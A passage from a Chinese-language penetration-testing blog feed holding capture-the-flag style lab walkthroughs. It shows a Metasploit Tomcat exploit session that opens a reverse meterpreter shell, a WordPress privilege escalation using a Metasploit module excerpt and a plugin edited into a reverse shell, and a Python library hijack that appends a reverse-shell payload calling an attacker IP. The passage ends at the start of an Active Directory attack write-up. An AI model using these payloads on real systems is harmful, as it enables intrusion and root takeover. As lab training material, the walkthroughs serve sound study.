   40    \_ target: Linux Dropper                                                 .                .          .      .
   41  exploit/linux/http/cisco_hyperflex_file_upload_rce                         2021-05-05       excellent  Yes    Cisco HyperFlex HX Data Platform unauthenticated file upload to RCE (CVE-2021-1499)
   42    \_ target: Java Dropper                                                  .                .          .      .
   43    \_ target: Linux Dropper                                                 .                .          .      .
   44  exploit/linux/http/cpi_tararchive_upload                                   2019-05-15       excellent  Yes    Cisco Prime Infrastructure Health Monitor TarArchive Directory Traversal Vulnerability
   45  exploit/linux/http/cisco_prime_inf_rce                                     2018-10-04       excellent  Yes    Cisco Prime Infrastructure Unauthenticated Remote Code Execution
   46  post/multi/gather/tomcat_gather                                            .                normal     No     Gather Tomcat Credentials
   47  auxiliary/dos/http/hashcollision_dos                                       2011-12-28       normal     No     Hashtable Collisions
   48  auxiliary/admin/http/ibm_drm_download                                      2020-04-21       normal     Yes    IBM Data Risk Manager Arbitrary File Download
   49  exploit/linux/http/lucee_admin_imgprocess_file_write                       2021-01-15       excellent  Yes    Lucee Administrator imgProcess.cfm Arbitrary File Write
   50    \_ target: Unix Command                                                  .                .          .      .
   51    \_ target: Linux Dropper                                                 .                .          .      .
   52  exploit/linux/http/mobileiron_core_log4shell                               2021-12-12       excellent  Yes    MobileIron Core Unauthenticated JNDI Injection RCE (via Log4Shell)
   53    \_ AKA: Log4Shell                                                        .                .          .      .
   54    \_ AKA: LogJam                                                           .                .          .      .
   55  exploit/multi/http/zenworks_configuration_management_upload                2015-04-07       excellent  Yes    Novell ZENworks Configuration Management Arbitrary File Upload
   56  exploit/multi/http/spring_framework_rce_spring4shell                       2022-03-31       manual     Yes    Spring Framework Class property RCE (Spring4Shell)
   57    \_ target: Java                                                          .                .          .      .
   58    \_ target: Linux                                                         .                .          .      .
   59    \_ target: Windows                                                       .                .          .      .
   60    \_ AKA: Spring4Shell                                                     .                .          .      .
   61    \_ AKA: SpringShell                                                      .                .          .      .
   62  auxiliary/admin/http/tomcat_administration                                 .                normal     No     Tomcat Administration Tool Default Access
   63  auxiliary/scanner/http/tomcat_mgr_login                                    .                normal     No     Tomcat Application Manager Login Utility
   64  exploit/multi/http/tomcat_jsp_upload_bypass                                2017-10-03       excellent  Yes    Tomcat RCE via JSP Upload Bypass
   65    \_ target: Automatic                                                     .                .          .      .
   66    \_ target: Java Windows                                                  .                .          .      .
   67    \_ target: Java Linux                                                    .                .          .      .
   68  auxiliary/admin/http/tomcat_utf8_traversal                                 2009-01-09       normal     No     Tomcat UTF-8 Directory Traversal Vulnerability
   69  auxiliary/admin/http/trendmicro_dlp_traversal                              2009-01-09       normal     No     TrendMicro Data Loss Prevention 5.5 Directory Traversal
   70  post/windows/gather/enum_tomcat                                            .                normal     No     Windows Gather Apache Tomcat Enumeration


Interact with a module by name or index. For example info 70, use 70 or use post/windows/gather/enum_tomcat

# 确定13和18符合要求，

msf6 &gt; use 18
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/http/tomcat_mgr_deploy) &gt; show options

Module options (exploit/multi/http/tomcat_mgr_upload):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   HttpPassword                   no        The password for the specified username
   HttpUsername                   no        The username to authenticate as
   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                         yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT         80               yes       The target port (TCP)
   SSL           false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI     /manager         yes       The URI path of the manager app (/html/upload and /undeploy will be used)
   VHOST                          no        HTTP server virtual host



Payload options (java/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.143.174    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic



View the full module info with the info, or info -d command.

msf6 exploit(multi/http/tomcat_mgr_upload) &gt; set HttpPassword bubbles
HttpPassword =&gt; bubbles
msf6 exploit(multi/http/tomcat_mgr_upload) &gt; set HttpUsername bob
HttpUsername =&gt; bob
msf6 exploit(multi/http/tomcat_mgr_upload) &gt; set RHOSTS 10.10.172.34
RHOSTS =&gt; 10.10.172.34
msf6 exploit(multi/http/tomcat_mgr_upload) &gt; set RPORT 1234
RPORT =&gt; 1234
msf6 exploit(multi/http/tomcat_mgr_upload) &gt; exploit

[*] Started reverse TCP handler on 10.10.143.174:4444
[*] Retrieving session ID and CSRF token...
[*] Uploading and deploying cX64byt81xpV1o2pcI3k5Fv2...
[*] Executing cX64byt81xpV1o2pcI3k5Fv2...
[*] Undeploying cX64byt81xpV1o2pcI3k5Fv2 ...
[*] Sending stage (58037 bytes) to 10.10.172.34
[*] Undeployed at /manager/html/undeploy
[*] Meterpreter session 1 opened (10.10.143.174:4444 -&gt; 10.10.172.34:34714) at 2025-02-06 06:37:43 +0000

meterpreter &gt;shell
whoami
root
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;成功利用后，我们获得了一个Meterpreter会话，这表示我们已经在目标服务器上获得了初始的立足点，可以执行系统命令。&lt;/p&gt;</content:encoded><h:img src="/_astro/image-20250207143334163.DBtpSmat.png"/><enclosure url="/_astro/image-20250207143334163.DBtpSmat.png"/></item><item><title>WordPress提权实战：利用Python库劫持漏洞从Web Shell到Root</title><link>https://blog.0xd00.com/blog/wordpress-privilege-escalation-python-library-hijacking</link><guid isPermaLink="true">https://blog.0xd00.com/blog/wordpress-privilege-escalation-python-library-hijacking</guid><description>本文详细演示了一种针对配置不当的WordPress服务器的提权技巧。从一个低权限的Web Shell (`www-data`)开始，通过发现一个以root权限运行的SUID程序，并利用其Python脚本的库加载机制进行劫持，最终成功获取到服务器的Root权限。</description><pubDate>Wed, 12 Feb 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import { Image } from &apos;astro:assets&apos;&lt;/p&gt;
&lt;p&gt;import imgPortScan from &apos;./assets/image-20250212145736819.png&apos;
import imgPort80 from &apos;./assets/image-20250212150139997.png&apos;
import imgXmlrpc from &apos;./assets/image-20250212151115590.png&apos;
import imgWpscanUsers from &apos;./assets/image-20250212151504341.png&apos;
import imgBruteSuccess from &apos;./assets/image-20250212153343791.png&apos;
import imgWpAdmin from &apos;./assets/image-20250212153543331.png&apos;
import imgSearchsploit from &apos;./assets/image-20250212155617767.png&apos;
import imgExploit from &apos;./assets/image-20250212161232689.png&apos;
import imgPrivilegeEscalation from &apos;./assets/image-20250212161555263.png&apos;
import imgPluginCode from &apos;./assets/image-20250212162515764.png&apos;
import imgReverseShell from &apos;./assets/image-20250212162755599.png&apos;
import imgNewClue from &apos;./assets/image-20250212163003014.png&apos;
import imgBackupSsh from &apos;./assets/image-20250212163616348.png&apos;
import imgLoginJack from &apos;./assets/image-20250212163838089.png&apos;
import imgPspy from &apos;./assets/image-20250212170123250.png&apos;
import imgPythonScript from &apos;./assets/image-20250212170403318.png&apos;
import imgPython2Lib from &apos;./assets/image-20250212170847348.png&apos;
import imgRoot from &apos;./assets/image-20250212172253103.png&apos;&lt;/p&gt;
&lt;h2&gt;初始信息&lt;/h2&gt;
&lt;p&gt;IP：10.10.250.233-&gt;jack.thm&lt;/p&gt;
&lt;p&gt;服务器中运行了位置python脚本&lt;/p&gt;
&lt;h2&gt;信息收集&lt;/h2&gt;
&lt;h3&gt;端口扫描&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;nmap -sS -sV -vv -T4 10.10.250.233
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgPortScan}
alt=&apos;nmap 端口扫描结果&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;关键发现&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;开放80端口运行WordPress 5.3.2&lt;/li&gt;
&lt;li&gt;SSH服务运行于22端口&lt;/li&gt;
&lt;li&gt;存在445端口（SMB）但无匿名访问&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgPort80}
alt=&apos;80端口 WordPress 首页&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;h3&gt;WordPress 信息枚举&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;wpscan --url http://jack.thm -e u,p,t
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgXmlrpc}
alt=&apos;wpscan 检测到 xmlrpc 漏洞点&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgWpscanUsers}
alt=&apos;wpscan 枚举出的用户名和主题&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;p&gt;但是后续使用&lt;code&gt;vp&lt;/code&gt;和&lt;code&gt;ap&lt;/code&gt;参数也没能识别出使用的插件&lt;/p&gt;
&lt;h2&gt;初始化访问&lt;/h2&gt;
&lt;h3&gt;WordPress 后台凭证爆破&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;wpscan -U users.txt -P /usr/share/wordlists/fasttrack.txt --url http://jack.thm
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgBruteSuccess}
alt=&apos;wpscan 爆破成功输出&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;p&gt;使用爆破出的凭证访问后台&lt;/p&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgWpAdmin}
alt=&apos;WordPress 后台页面&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;h2&gt;权限提升(WordPress)&lt;/h2&gt;
&lt;p&gt;可以发现此账户非管理员账户,没有主题和插件菜单,未发现其他漏洞点,需要想办法提权到管理员账号获取更多信息&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;searchsploit WordPress Privilege Escalation
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgSearchsploit}
alt=&apos;searchsploit 搜索可利用 WordPress 提权漏洞&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# 利用代码片段如下
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

......
    register_options(
      [
        OptString.new(&apos;TARGETURI&apos;,   [true, &apos;URI path to WordPress&apos;, &apos;/&apos;]),
        OptString.new(&apos;ADMINPATH&apos;,   [true, &apos;wp-admin directory&apos;, &apos;wp-admin/&apos;]),
        OptString.new(&apos;CONTENTPATH&apos;, [true, &apos;wp-content directory&apos;, &apos;wp-content/&apos;]),
        OptString.new(&apos;PLUGINSPATH&apos;, [true, &apos;wp plugins directory&apos;, &apos;plugins/&apos;]),
        OptString.new(&apos;PLUGINPATH&apos;,  [true, &apos;User Role Editor directory&apos;, &apos;user-role-editor/&apos;]),
        OptString.new(&apos;USERNAME&apos;,    [true, &apos;WordPress username&apos;]),
        OptString.new(&apos;PASSWORD&apos;,    [true, &apos;WordPress password&apos;]),
	OptString.new(&apos;PRIVILEGES&apos;,  [true, &apos;Desired User Role Editor privileges&apos;, &apos;activate_plugins,delete_others_pages,delete_others_posts,delete_pages,delete_posts,delete_private_pages,delete_private_posts,delete_published_pages,delete_published_posts,edit_dashboard,edit_others_pages,edit_others_posts,edit_pages,edit_posts,edit_private_pages,edit_private_posts,edit_published_pages,edit_published_posts,edit_theme_options,export,import,list_users,manage_categories,manage_links,manage_options,moderate_comments,promote_users,publish_pages,publish_posts,read_private_pages,read_private_posts,read,remove_users,switch_themes,upload_files,customize,delete_site,create_users,delete_plugins,delete_themes,delete_users,edit_plugins,edit_themes,edit_users,install_plugins,install_themes,unfiltered_html,unfiltered_upload,update_core,update_plugins,update_themes,ure_create_capabilities,ure_create_roles,ure_delete_capabilities,ure_delete_roles,ure_edit_roles,ure_manage_options,ure_reset_roles&apos;])
      ])
  end

 ......
    # Send HTTP POST request - update the specified user&apos;s privileges
    print_status(&quot;#{peer} - WordPress - Changing privs - #{username}&quot;)
    res = send_request_cgi({
      &apos;method&apos;    =&gt; &apos;POST&apos;,
      &apos;uri&apos;       =&gt; url,
      &apos;vars_post&apos; =&gt; {
        &apos;_wpnonce&apos;         =&gt; wp_nonce,
        &apos;_wp_http_referer&apos; =&gt; URI::encode(url),
        &apos;from&apos;             =&gt; &apos;profile&apos;,
        &apos;checkuser_id&apos;     =&gt; checkuser_id,
        &apos;color-nonce&apos;      =&gt; color_nonce,
        &apos;admin_color&apos;      =&gt; &apos;fresh&apos;,
        &apos;admin_bar_front&apos;  =&gt; &apos;1&apos;,
        &apos;first_name&apos;       =&gt; &apos;&apos;,
        &apos;last_name&apos;        =&gt; &apos;&apos;,
        &apos;nickname&apos;         =&gt; nickname,
        &apos;display_name&apos;     =&gt; display_name,
        &apos;email&apos;            =&gt; email,
        &apos;url&apos;              =&gt; &apos;&apos;,
        &apos;description&apos;      =&gt; &apos;&apos;,
        &apos;pass1&apos;            =&gt; &apos;&apos;,
        &apos;pass2&apos;            =&gt; &apos;&apos;,
        &apos;ure_other_roles&apos;  =&gt; datastore[&apos;PRIVILEGES&apos;],
        &apos;action&apos;           =&gt; &apos;update&apos;,
        &apos;user_id&apos;          =&gt; user_id,
        &apos;submit&apos;           =&gt; &apos;Update+Profile&apos;
      },
      &apos;cookie&apos;    =&gt; cookie
    })

    # check outcome
    if res and res.code == 302
      print_good(&quot;#{peer} - WordPress - Changing privs - OK&quot;)
    else
      fail_with(&quot;#{peer} - WordPress - Changing privs - Server response (code #{res.code})&quot;)
    end
  end
end

# EoF
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这段代码的关键是新增一个请求参数,并设置对应的权限:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;&amp;#x26;ure_other_roles=activate_plugins,delete_others_pages,delete_others_posts,delete_pages,delete_posts,delete_private_pages,delete_private_posts,delete_published_pages,delete_published_posts,edit_dashboard,edit_others_pages,edit_others_posts,edit_pages,edit_posts,edit_private_pages,edit_private_posts,edit_published_pages,edit_published_posts,edit_theme_options,export,import,list_users,manage_categories,manage_links,manage_options,moderate_comments,promote_users,publish_pages,publish_posts,read_private_pages,read_private_posts,read,remove_users,switch_themes,upload_files,customize,delete_site,create_users,delete_plugins,delete_themes,delete_users,edit_plugins,edit_themes,edit_users,install_plugins,install_themes,unfiltered_html,unfiltered_upload,update_core,update_plugins,update_themes,ure_create_capabilities,ure_create_roles,ure_delete_capabilities,ure_delete_roles,ure_edit_roles,ure_manage_options,ure_reset_roles
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgExploit}
alt=&apos;Metasploit 提权模块利用过程&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgPrivilegeEscalation}
alt=&apos;WordPress 账户权限提升成功&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;h2&gt;WebShell获取&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-6666&quot;&gt;nc -lvnp 6666
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;修改插件源码反弹shell&lt;/p&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgPluginCode}
alt=&apos;修改插件源码注入反弹 shell&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;p&gt;激活插件后成功获得反弹的shell&lt;/p&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgReverseShell}
alt=&apos;获得反弹 shell 的终端输出&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;h2&gt;SSH密钥发现&lt;/h2&gt;
&lt;p&gt;在浏览用户目录时发现以下信息&lt;/p&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgNewClue}
alt=&apos;用户目录中的新线索&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;p&gt;新线索指向备份目录,检查常见的备份目录位置,在&lt;code&gt;/var/backups&lt;/code&gt;目录找了一份&lt;code&gt;ssh&lt;/code&gt;登录密钥&lt;/p&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgBackupSsh}
alt=&apos;备份目录中的 SSH 私钥&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;p&gt;拷贝到本地后尝试通过密钥登录&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;chmod 600 id_rsa
ssh -i id_rsa jack@10.10.250.233
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;成功以jack用户的密钥登录到服务器
&amp;#x3C;Image
src={imgLoginJack}
alt=&apos;使用 jack 账户登录服务器的终端输出&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;p&gt;攻击环境下载&lt;code&gt;pspy64&lt;/code&gt;,之后通过python创建http服务器&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
python3 -m http.server
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;wget http://10.10.33.70:8000/pspy64
chmod u+x pspy64
./pspy64
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现到一个python脚本,经查询其默认调用的是python2&lt;/p&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgPspy}
alt=&apos;pspy 监控输出&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;p&gt;查看脚本内容&lt;/p&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgPythonScript}
alt=&apos;SUID Python 脚本内容&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;h2&gt;Root提权&lt;/h2&gt;
&lt;p&gt;通过代码可以发现脚本功能是调用&lt;code&gt;curl&lt;/code&gt;将请求127.0.0.1的请求头保存到日志文件中,目的大概是为了服务可用性记录.文件仅root可写&lt;/p&gt;
&lt;p&gt;检查了curl和python2,并没有什么异常,但是在检查python2的库文件时发现库文件都属于&lt;code&gt;family&lt;/code&gt;组&lt;/p&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgPython2Lib}
alt=&apos;Python2 库文件劫持检查&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;p&gt;查看&lt;code&gt;jack&lt;/code&gt;的用户组&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;jack@jack:/opt/statuscheck$ id
uid=1000(jack) gid=1000(jack) groups=1000(jack),4(adm),24(cdrom),30(dip),46(plugdev),115(lpadmin),116(sambashare),1001(family)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Python库劫持攻击&lt;/h3&gt;
&lt;p&gt;jack也在&lt;code&gt;family&lt;/code&gt;组中,所以可以通过修改&lt;code&gt;os&lt;/code&gt;库来进行提权&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# 追加到os文件的末尾
import socket
import ptys=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((&quot;10.10.33.70&quot;, 6665))
dup2(s.fileno(),0)
dup2(s.fileno(),1)
dup2(s.fileno(),2)
pty.spawn(&quot;/bin/bash&quot;)
s.close()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;等待脚本被调用&lt;/p&gt;
&lt;p&gt;...&lt;/p&gt;
&lt;p&gt;成功提升到root权限&lt;/p&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgRoot}
alt=&apos;提权到 root 的最终结果&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;</content:encoded><h:img src="/_astro/image-20250212151115590.B69oCsNK.png"/><enclosure url="/_astro/image-20250212151115590.B69oCsNK.png"/></item><item><title>域渗透实战：从Kerberos委派攻击到域控接管(Domain Takeover)</title><link>https://blog.0xd00.com/blog/ad-pentesting-delegation-attack-domain-takeover</link><guid isPermaLink="true">https://blog.0xd00.com/blog/ad-pentesting-delegation-attack-domain-takeover</guid><description>本文深度剖析Active Directory中的非约束性委派与约束性委派攻击。通过复现利用Kerberos委派漏洞，使用Impacket、Rubeus等工具获取高权限票据，最终实现DCSync接管域控的完整渗透测试流程。</description><pubDate>Fri, 07 Feb 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import { Image } from &apos;astro:assets&apos;&lt;/p&gt;
&lt;p&gt;import imgNmap1 from &apos;./assets/image-20250207143334163.png&apos;
import imgNmap2 from &apos;./assets/image-20250207144723528.png&apos;
import imgSmbmap from &apos;./assets/image-20250207145009172.png&apos;
import imgDataList1 from &apos;./assets/image-20250207152946792.png&apos;
import imgDataList2 from &apos;./assets/image-20250207153148854.png&apos;
import imgPdfTemplate from &apos;./assets/image-20250207153859430.png&apos;
import imgRidBrute from &apos;./assets/image-20250207161022443.png&apos;
import imgUsernames from &apos;./assets/image-20250207161633499.png&apos;
import imgPasswordSpray from &apos;./assets/image-20250207163201644.png&apos;
import imgAsrep from &apos;./assets/image-20250207165554311.png&apos;
import imgHashCrack from &apos;./assets/image-20250207170330360.png&apos;
import imgSpn from &apos;./assets/image-20250207171246320.png&apos;
import imgBloodhoundCollect from &apos;./assets/image-20250207172229560.png&apos;
import imgNewIpRecon from &apos;./assets/image-20250210142426054.png&apos;
import imgBloodhoundAsreq from &apos;./assets/image-20250210142805590.png&apos;
import imgBloodhoundOutbound from &apos;./assets/image-20250210144135361.png&apos;
import imgBloodhoundDelegation from &apos;./assets/image-20250210145734557.png&apos;
import imgBloodhoundPath from &apos;./assets/image-20250210153941815.png&apos;
import imgPwdReset1 from &apos;./assets/image-20250210152013523.png&apos;
import imgPwdReset2 from &apos;./assets/image-20250210152901727.png&apos;
import imgPwdReset3 from &apos;./assets/image-20250210153107076.png&apos;
import imgGetST from &apos;./assets/image-20250210161948114.png&apos;
import imgWmiexec from &apos;./assets/image-20250210164102035.png&apos;&lt;/p&gt;
&lt;h2&gt;初始信息&lt;/h2&gt;
&lt;p&gt;已知IP:10.10.92.51&lt;/p&gt;
&lt;h2&gt;信息收集与初始访问&lt;/h2&gt;
&lt;h3&gt;端口扫描&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;nmap  -sS -T4 -A 10.10.92.51
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgNmap1}
alt=&apos;nmap 扫描结果服务与端口概览&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgNmap2}
alt=&apos;nmap 详细扫描输出&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;p&gt;根据扫描结果可以知道这是一台Windows Server，直接盯上我们的常客SMB&lt;/p&gt;
&lt;h3&gt;SMB枚举&lt;/h3&gt;
&lt;p&gt;smbmap扫一下有没有匿名用户&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;smbmap.py -u &quot;anonymous&quot; -H 10.10.92.51
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgSmbmap}
alt=&apos;smbmap 匿名访问结果&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;p&gt;发现了&lt;code&gt;Data&lt;/code&gt;目录有读写权限，&lt;code&gt;IPC$&lt;/code&gt;目录有读权限。&lt;/p&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgDataList1}
alt=&apos;Data 目录文件列表&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgDataList2}
alt=&apos;Data 目录内文件详情&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;p&gt;通过文本文件我们能得知这个新员工的密码是&lt;code&gt;ResetMe123!&lt;/code&gt;，而且根据密码内容，这可能是系统的默认密码。&lt;/p&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgPdfTemplate}
alt=&apos;PDF 模板中默认密码提示&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
